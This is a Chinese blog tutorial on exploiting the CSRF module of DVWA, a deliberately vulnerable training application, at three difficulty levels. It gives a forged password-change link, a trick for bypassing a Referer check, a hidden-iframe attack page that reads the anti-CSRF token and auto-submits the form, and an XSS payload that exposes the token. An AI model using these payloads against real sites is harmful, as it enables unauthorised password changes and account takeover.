• DVWA全级别之CSRF(跨站请求伪造)


    CSRF(Cross-site request forgery) 

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

     

    Low

    查看服务器端核心代码

     可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码

    方法一:构造链接 最基础的:

    http://192.168.17.111/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

    当受害者点击了这个链接,他的密码就会被改成password(这种方法是最显而易见的)

     

     需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

     

    方法二:使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

    http://dwz.cn/****

    实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的.

    但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也不适合现实生活

     

    方法三:构造攻击页面

    现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成。当受害者访问攻击页面时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改了。

    这里为了方便演示,就在本地写一个test.html,下面是具体代码。

     

     

     

     

     

     

    Medium

    修改密码为123

     

    进行抓包,

     

    可以看到,Medium级别的代码检查了保留变量 HTTP_REFERERhttp包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAMEhttp包头的Host参数,及要访问的主机名,这里是192.168.17.111),希望通过这种机制抵御CSRF攻击。

     

    过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.17.111

    我们可以将攻击页面命名为192.168.17.111.html(页面被放置在攻击者的服务器里,这里是127.0.0.1)就可以绕过了

     

     

     Referer参数完美绕过过滤规则

     

    密码修改成功;

     

     

     

    High

    查看服务器端核心代码;

     

    可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

    要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token

    试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

    <script type="text/javascript">

    function attack()

    {

    document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

    document.getElementById("transfer").submit();

    }

    </script>

     

    <iframe src="http://192.168.27.156/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

    </iframe>

     

    <body onload="attack()">

    <form method="GET" id="transfer" action="http://192.168.27.156 /dvwa/vulnerabilities/csrf">

    <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

    <input type="hidden" name="user_token" value="">

    <input type="hidden" name="Change" value="Change">

    </form>

    </body>

    攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

     

    然而现实中有跨域问题,而现在的浏览器是不允许跨域请求的。(两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面)所以我们的攻击脚本是不可能取到改密界面中的user_token

     

    由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.17.111中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

     这里的Name存在XSS漏洞,于是抓包,改参数( <iframe src="../csrf" onload=alert(frames[0].document.getElenentsByName('user_token')[0].value)> 

    ),成功弹出token

     

     

     

  • 相关阅读:
    msgs no .h file
    我们为之奋斗过的C#之---简单的库存管理系统
    我们为之奋斗过的C#-----C#的一个简单理解
    套接字之sendto系统调用
    套接字之msghdr结构
    套接字之select系统调用
    套接字之close系统调用
    TCP之listen&backlog
    套接字之相关系统调用的调用流程
    套接字之shutdown系统调用
  • 原文地址:https://www.cnblogs.com/199904-04/p/12319040.html
Copyright © 2020-2023  润新知